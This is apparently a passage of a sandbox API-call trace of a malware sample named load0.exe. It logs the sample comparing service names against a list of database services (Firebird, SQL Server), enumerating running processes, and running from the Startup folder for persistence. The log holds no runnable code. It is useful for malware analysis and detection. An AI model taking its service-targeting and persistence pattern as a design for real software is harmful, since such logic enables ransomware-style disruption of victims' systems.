[0240.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0240.052] lstrlenW (lpString="RpcEptMapper") returned 12 [0240.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.052] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0240.052] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0240.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0240.052] lstrlenW (lpString="RpcSs") returned 5 [0240.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0240.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0240.053] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0240.053] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0240.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0240.053] lstrlenW (lpString="SamSs") returned 5 [0240.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0240.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0240.053] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0240.053] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0240.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0240.053] lstrlenW (lpString="Schedule") returned 8 [0240.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0240.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0240.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0240.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0240.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0240.053] lstrlenW (lpString="SecurityHealthService") returned 21 [0240.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0240.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0240.053] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0240.053] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0240.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0240.053] lstrlenW (lpString="SENS") returned 4 [0240.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0240.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0240.053] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0240.053] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0240.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0240.053] lstrlenW (lpString="ShellHWDetection") returned 16 [0240.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.053] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0240.053] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0240.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0240.054] lstrlenW (lpString="Spooler") returned 7 [0240.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0240.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0240.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0240.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0240.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0240.054] lstrlenW (lpString="StateRepository") returned 15 [0240.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0240.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0240.054] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0240.054] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0240.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0240.054] lstrlenW (lpString="SysMain") returned 7 [0240.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0240.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0240.054] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0240.054] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0240.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0240.054] lstrlenW (lpString="SystemEventsBroker") returned 18 [0240.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0240.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0240.054] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0240.054] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0240.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0240.054] lstrlenW (lpString="Themes") returned 6 [0240.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0240.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0240.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0240.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0240.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0240.054] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0240.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0240.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0240.055] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0240.055] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0240.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0240.055] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0240.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0240.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0240.055] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0240.055] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0240.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6acba8 | out: hHeap=0x630000) returned 1 [0240.055] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xf8c [0240.105] Process32FirstW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.106] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.106] lstrlenW (lpString="System") returned 6 [0240.106] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.107] lstrlenW (lpString="smss.exe") returned 8 [0240.107] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.107] lstrlenW (lpString="csrss.exe") returned 9 [0240.107] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.108] lstrlenW (lpString="wininit.exe") returned 11 [0240.108] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.109] lstrlenW (lpString="csrss.exe") returned 9 [0240.109] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.109] lstrlenW (lpString="winlogon.exe") returned 12 [0240.109] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.110] lstrlenW (lpString="services.exe") returned 12 [0240.110] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.111] lstrlenW (lpString="lsass.exe") returned 9 [0240.111] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0240.111] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0240.111] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0240.112] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0240.112] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.113] lstrlenW (lpString="svchost.exe") returned 11 [0240.113] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.113] lstrlenW (lpString="svchost.exe") returned 11 [0240.113] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.114] lstrlenW (lpString="dwm.exe") returned 7 [0240.114] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.115] lstrlenW (lpString="svchost.exe") returned 11 [0240.115] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.115] lstrlenW (lpString="svchost.exe") returned 11 [0240.115] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.116] lstrlenW (lpString="svchost.exe") returned 11 [0240.116] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.117] lstrlenW (lpString="svchost.exe") returned 11 [0240.117] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.117] lstrlenW (lpString="svchost.exe") returned 11 [0240.117] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.118] lstrlenW (lpString="svchost.exe") returned 11 [0240.118] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.119] lstrlenW (lpString="svchost.exe") returned 11 [0240.119] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.119] lstrlenW (lpString="svchost.exe") returned 11 [0240.119] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.120] lstrlenW (lpString="svchost.exe") returned 11 [0240.120] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.121] lstrlenW (lpString="svchost.exe") returned 11 [0240.121] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.121] lstrlenW (lpString="spoolsv.exe") returned 11 [0240.121] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.122] lstrlenW (lpString="svchost.exe") returned 11 [0240.122] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.123] lstrlenW (lpString="audiodg.exe") returned 11 [0240.123] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0240.123] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0240.123] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0240.212] lstrlenW (lpString="Memory Compression") returned 18 [0240.212] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0240.212] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0240.212] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.213] lstrlenW (lpString="taskhostw.exe") returned 13 [0240.213] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0240.214] lstrlenW (lpString="sihost.exe") returned 10 [0240.214] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.215] lstrlenW (lpString="svchost.exe") returned 11 [0240.215] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.215] lstrlenW (lpString="taskhostw.exe") returned 13 [0240.215] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0240.216] lstrlenW (lpString="msoia.exe") returned 9 [0240.216] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.217] lstrlenW (lpString="explorer.exe") returned 12 [0240.217] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.218] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0240.218] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.219] lstrlenW (lpString="SearchUI.exe") returned 12 [0240.219] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.219] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0240.219] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.220] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0240.220] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0240.221] lstrlenW (lpString="load0.exe") returned 9 [0240.221] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0240.222] lstrlenW (lpString="load0.exe") returned 9 [0240.222] Process32NextW (in: hSnapshot=0xf8c, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0240.223] CloseHandle (hObject=0xf8c) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x642338 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x642458 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647598 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647518 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x646080 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x677ab8 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647758 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647778 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f7e0 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f740 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647458 | out: hHeap=0x630000) returned 1 [0240.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f8a8 | out: hHeap=0x630000) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6acb80 [0240.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6bcb88 [0240.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f998 [0240.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f998, Size=0x40) returned 0x642338 [0240.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f790 [0240.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ab8 [0240.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ab8, Size=0x20) returned 0x66f880 [0240.224] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677a70 [0240.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677a70, Size=0x20) returned 0x66f650 [0240.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f650, Size=0x40) returned 0x6428d8 [0240.224] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bcb88, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe")) returned 0x46 [0240.225] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6ccb90 [0240.225] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6dcb98 [0240.225] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ce0 [0240.225] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x66f650 [0240.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f650, Size=0x40) returned 0x6424e8 [0240.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6424e8, Size=0x80) returned 0x641ae0 [0240.226] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x641ae0, Size=0x100) returned 0x63e4b0 [0240.226] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.226] HeapFree (in: hHeap=0x630000, 